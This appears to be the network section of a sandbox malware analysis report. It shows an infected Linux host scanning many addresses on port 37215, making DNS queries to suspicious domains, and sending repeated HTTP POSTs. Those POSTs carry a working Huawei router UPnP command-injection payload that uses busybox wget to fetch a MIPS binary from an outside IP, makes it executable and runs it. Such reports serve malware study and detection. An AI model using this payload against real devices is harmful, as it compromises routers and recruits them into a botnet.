Jan 1, 2024 12:52:06.051903963 CET	37751	37215	192.168.2.13	156.110.194.61
Jan 1, 2024 12:52:06.051903963 CET	37751	37215	192.168.2.13	197.79.230.197
Jan 1, 2024 12:52:06.051909924 CET	37751	37215	192.168.2.13	196.129.151.250
Jan 1, 2024 12:52:06.051909924 CET	37751	37215	192.168.2.13	95.125.0.2
Jan 1, 2024 12:52:06.051915884 CET	37751	37215	192.168.2.13	120.42.71.101
Jan 1, 2024 12:52:06.051917076 CET	37751	37215	192.168.2.13	197.72.131.177
Jan 1, 2024 12:52:06.051927090 CET	37751	37215	192.168.2.13	41.158.143.64
Jan 1, 2024 12:52:06.051928043 CET	37751	37215	192.168.2.13	41.146.17.28
Jan 1, 2024 12:52:06.051928043 CET	37751	37215	192.168.2.13	45.152.95.5
Jan 1, 2024 12:52:06.051939011 CET	37751	37215	192.168.2.13	41.147.129.178
Jan 1, 2024 12:52:06.051949024 CET	37751	37215	192.168.2.13	196.57.62.1
Jan 1, 2024 12:52:06.051950932 CET	37751	37215	192.168.2.13	156.115.234.206
Jan 1, 2024 12:52:06.051961899 CET	37751	37215	192.168.2.13	156.99.153.90
Jan 1, 2024 12:52:06.051964998 CET	37751	37215	192.168.2.13	154.87.224.11
Jan 1, 2024 12:52:06.051989079 CET	37751	37215	192.168.2.13	197.131.62.190
Jan 1, 2024 12:52:06.051991940 CET	37751	37215	192.168.2.13	197.47.106.91
Jan 1, 2024 12:52:06.051996946 CET	37751	37215	192.168.2.13	41.207.56.109
Jan 1, 2024 12:52:06.051997900 CET	37751	37215	192.168.2.13	107.89.97.50
Jan 1, 2024 12:52:06.051999092 CET	37751	37215	192.168.2.13	197.55.251.183
Jan 1, 2024 12:52:06.052011013 CET	37751	37215	192.168.2.13	157.246.234.88
Jan 1, 2024 12:52:06.052017927 CET	37751	37215	192.168.2.13	222.60.129.240
Jan 1, 2024 12:52:06.052017927 CET	37751	37215	192.168.2.13	197.116.30.120
Jan 1, 2024 12:52:06.052017927 CET	37751	37215	192.168.2.13	197.133.160.214
Jan 1, 2024 12:52:06.052017927 CET	37751	37215	192.168.2.13	156.47.246.229
Jan 1, 2024 12:52:06.052017927 CET	37751	37215	192.168.2.13	45.79.122.49
Jan 1, 2024 12:52:06.052023888 CET	37751	37215	192.168.2.13	122.25.17.121
Jan 1, 2024 12:52:06.052023888 CET	37751	37215	192.168.2.13	197.122.170.51
Jan 1, 2024 12:52:06.052023888 CET	37751	37215	192.168.2.13	181.140.30.30
Jan 1, 2024 12:52:06.052023888 CET	37751	37215	192.168.2.13	45.15.124.145
Jan 1, 2024 12:52:06.052031040 CET	37751	37215	192.168.2.13	197.240.125.226
Jan 1, 2024 12:52:06.052031994 CET	37751	37215	192.168.2.13	156.189.201.78
Jan 1, 2024 12:52:06.052031994 CET	37751	37215	192.168.2.13	41.132.8.24
Jan 1, 2024 12:52:06.052031994 CET	37751	37215	192.168.2.13	41.149.110.5
Jan 1, 2024 12:52:06.052032948 CET	37751	37215	192.168.2.13	120.122.134.13
Jan 1, 2024 12:52:06.052032948 CET	37751	37215	192.168.2.13	41.158.177.17
Jan 1, 2024 12:52:06.052045107 CET	37751	37215	192.168.2.13	41.246.98.25
Jan 1, 2024 12:52:06.052048922 CET	37751	37215	192.168.2.13	138.83.148.48
Jan 1, 2024 12:52:06.052048922 CET	37751	37215	192.168.2.13	41.54.207.183
Jan 1, 2024 12:52:06.052048922 CET	37751	37215	192.168.2.13	197.212.203.118
Jan 1, 2024 12:52:06.052048922 CET	37751	37215	192.168.2.13	160.188.136.226
Jan 1, 2024 12:52:06.052052021 CET	37751	37215	192.168.2.13	197.236.86.188
Jan 1, 2024 12:52:06.052052021 CET	37751	37215	192.168.2.13	197.244.150.121
Jan 1, 2024 12:52:06.052056074 CET	37751	37215	192.168.2.13	197.41.167.130
Jan 1, 2024 12:52:06.052056074 CET	37751	37215	192.168.2.13	41.78.142.204
Jan 1, 2024 12:52:06.052056074 CET	37751	37215	192.168.2.13	120.218.184.105
Jan 1, 2024 12:52:06.052056074 CET	37751	37215	192.168.2.13	197.16.50.45
Jan 1, 2024 12:52:06.052056074 CET	37751	37215	192.168.2.13	160.50.217.67
Jan 1, 2024 12:52:06.052057981 CET	37751	37215	192.168.2.13	41.251.138.98
Jan 1, 2024 12:52:06.052059889 CET	37751	37215	192.168.2.13	121.164.244.233
Jan 1, 2024 12:52:06.052078962 CET	37751	37215	192.168.2.13	41.165.182.149
Jan 1, 2024 12:52:06.052081108 CET	37751	37215	192.168.2.13	156.111.154.51
Jan 1, 2024 12:52:06.052087069 CET	37751	37215	192.168.2.13	92.174.21.51
Jan 1, 2024 12:52:06.052087069 CET	37751	37215	192.168.2.13	156.194.149.124
Jan 1, 2024 12:52:06.052087069 CET	37751	37215	192.168.2.13	94.49.242.182
Jan 1, 2024 12:52:06.052088022 CET	37751	37215	192.168.2.13	190.250.31.130

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 1, 2024 12:51:43.973848104 CET	192.168.2.13	168.138.12.137	0xb466	Standard query (0)	asdsdfjsdfsd.indy	A (IP address)	IN (0x0001)	false
Jan 1, 2024 12:51:48.978930950 CET	192.168.2.13	103.1.206.179	0x1f12	Standard query (0)	jiggaboo.oss..T	37477	65326	false
Jan 1, 2024 12:51:49.281548977 CET	192.168.2.13	81.169.136.222	0x2ff6	Standard query (0)	sfdopospdofpsdo.dyn.	256	341	false
Jan 1, 2024 12:51:49.541692972 CET	192.168.2.13	103.87.68.195	0x4948	Standard query (0)	pposdif.parody.UeKKa/PV!E=_2gWD5)\MIHpposdifparodyoUeII	80	22183	false
Jan 1, 2024 12:51:49.897185087 CET	192.168.2.13	168.138.12.137	0x6c61	Standard query (0)	hailbot.geek.Ueq;<<PV!a/E(L@9Cw_9CPoUeo;<<PV	8469	60660	false
Jan 1, 2024 12:51:54.900772095 CET	192.168.2.13	70.34.254.19	0x4c14	Standard query (0)	yoursocuteong.dyn.	256	347	false
Jan 1, 2024 12:51:57.159192085 CET	192.168.2.13	103.1.206.179	0x675f	Standard query (0)	yoursocuteong.dyn.	256	349	false
Jan 1, 2024 12:51:57.460805893 CET	192.168.2.13	80.78.132.79	0x27aa	Standard query (0)	asdsdfjsdfsd.indy.	256	349	false
Jan 1, 2024 12:51:57.703170061 CET	192.168.2.13	70.34.254.19	0x57c2	Standard query (0)	sfdopospdofpsdo.dyn	A (IP address)	IN (0x0001)	false
Jan 1, 2024 12:54:30.944710970 CET	192.168.2.13	1.1.1.1	0x2208	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Jan 1, 2024 12:54:30.944762945 CET	192.168.2.13	1.1.1.1	0xa646	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 1, 2024 12:51:49.897020102 CET	103.87.68.195	192.168.2.13	0x4948	Format error (1)	pposdif.parody.UeIIPV!a/E;@@5'}{lahailbotgeekdUeq;<<.V!a/E(L@9Cw_9CPoUeo;<<PV!	none	none	62651	25006	false
Jan 1, 2024 12:51:55.158994913 CET	70.34.254.19	192.168.2.13	0x4c14	Format error (1)	yoursocuteong.dyn.	none	none	256	347	false
Jan 1, 2024 12:51:57.960710049 CET	70.34.254.19	192.168.2.13	0x57c2	No error (0)	sfdopospdofpsdo.dyn		89.190.156.141	A (IP address)	IN (0x0001)	false
Jan 1, 2024 12:51:57.960710049 CET	70.34.254.19	192.168.2.13	0x57c2	No error (0)	sfdopospdofpsdo.dyn		5.181.80.102	A (IP address)	IN (0x0001)	false
Jan 1, 2024 12:51:57.960710049 CET	70.34.254.19	192.168.2.13	0x57c2	No error (0)	sfdopospdofpsdo.dyn		89.190.156.145	A (IP address)	IN (0x0001)	false
Jan 1, 2024 12:51:57.960710049 CET	70.34.254.19	192.168.2.13	0x57c2	No error (0)	sfdopospdofpsdo.dyn		89.190.156.144	A (IP address)	IN (0x0001)	false
Jan 1, 2024 12:51:57.960710049 CET	70.34.254.19	192.168.2.13	0x57c2	No error (0)	sfdopospdofpsdo.dyn		5.181.80.100	A (IP address)	IN (0x0001)	false
Jan 1, 2024 12:51:57.960710049 CET	70.34.254.19	192.168.2.13	0x57c2	No error (0)	sfdopospdofpsdo.dyn		37.221.67.135	A (IP address)	IN (0x0001)	false
Jan 1, 2024 12:51:57.960710049 CET	70.34.254.19	192.168.2.13	0x57c2	No error (0)	sfdopospdofpsdo.dyn		5.181.80.138	A (IP address)	IN (0x0001)	false
Jan 1, 2024 12:51:57.960710049 CET	70.34.254.19	192.168.2.13	0x57c2	No error (0)	sfdopospdofpsdo.dyn		89.190.156.140	A (IP address)	IN (0x0001)	false
Jan 1, 2024 12:51:57.960710049 CET	70.34.254.19	192.168.2.13	0x57c2	No error (0)	sfdopospdofpsdo.dyn		5.181.80.103	A (IP address)	IN (0x0001)	false
Jan 1, 2024 12:51:57.960710049 CET	70.34.254.19	192.168.2.13	0x57c2	No error (0)	sfdopospdofpsdo.dyn		89.190.156.5	A (IP address)	IN (0x0001)	false
Jan 1, 2024 12:51:57.960710049 CET	70.34.254.19	192.168.2.13	0x57c2	No error (0)	sfdopospdofpsdo.dyn		5.181.80.111	A (IP address)	IN (0x0001)	false
Jan 1, 2024 12:51:57.960710049 CET	70.34.254.19	192.168.2.13	0x57c2	No error (0)	sfdopospdofpsdo.dyn		89.190.156.149	A (IP address)	IN (0x0001)	false
Jan 1, 2024 12:54:31.066471100 CET	1.1.1.1	192.168.2.13	0x2208	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false
Jan 1, 2024 12:54:31.066471100 CET	1.1.1.1	192.168.2.13	0x2208	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.13	38940	156.254.95.195	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:52:20.403824091 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:21.980690956 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:23.836750984 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:27.644701958 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:35.068671942 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:49.916601896 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
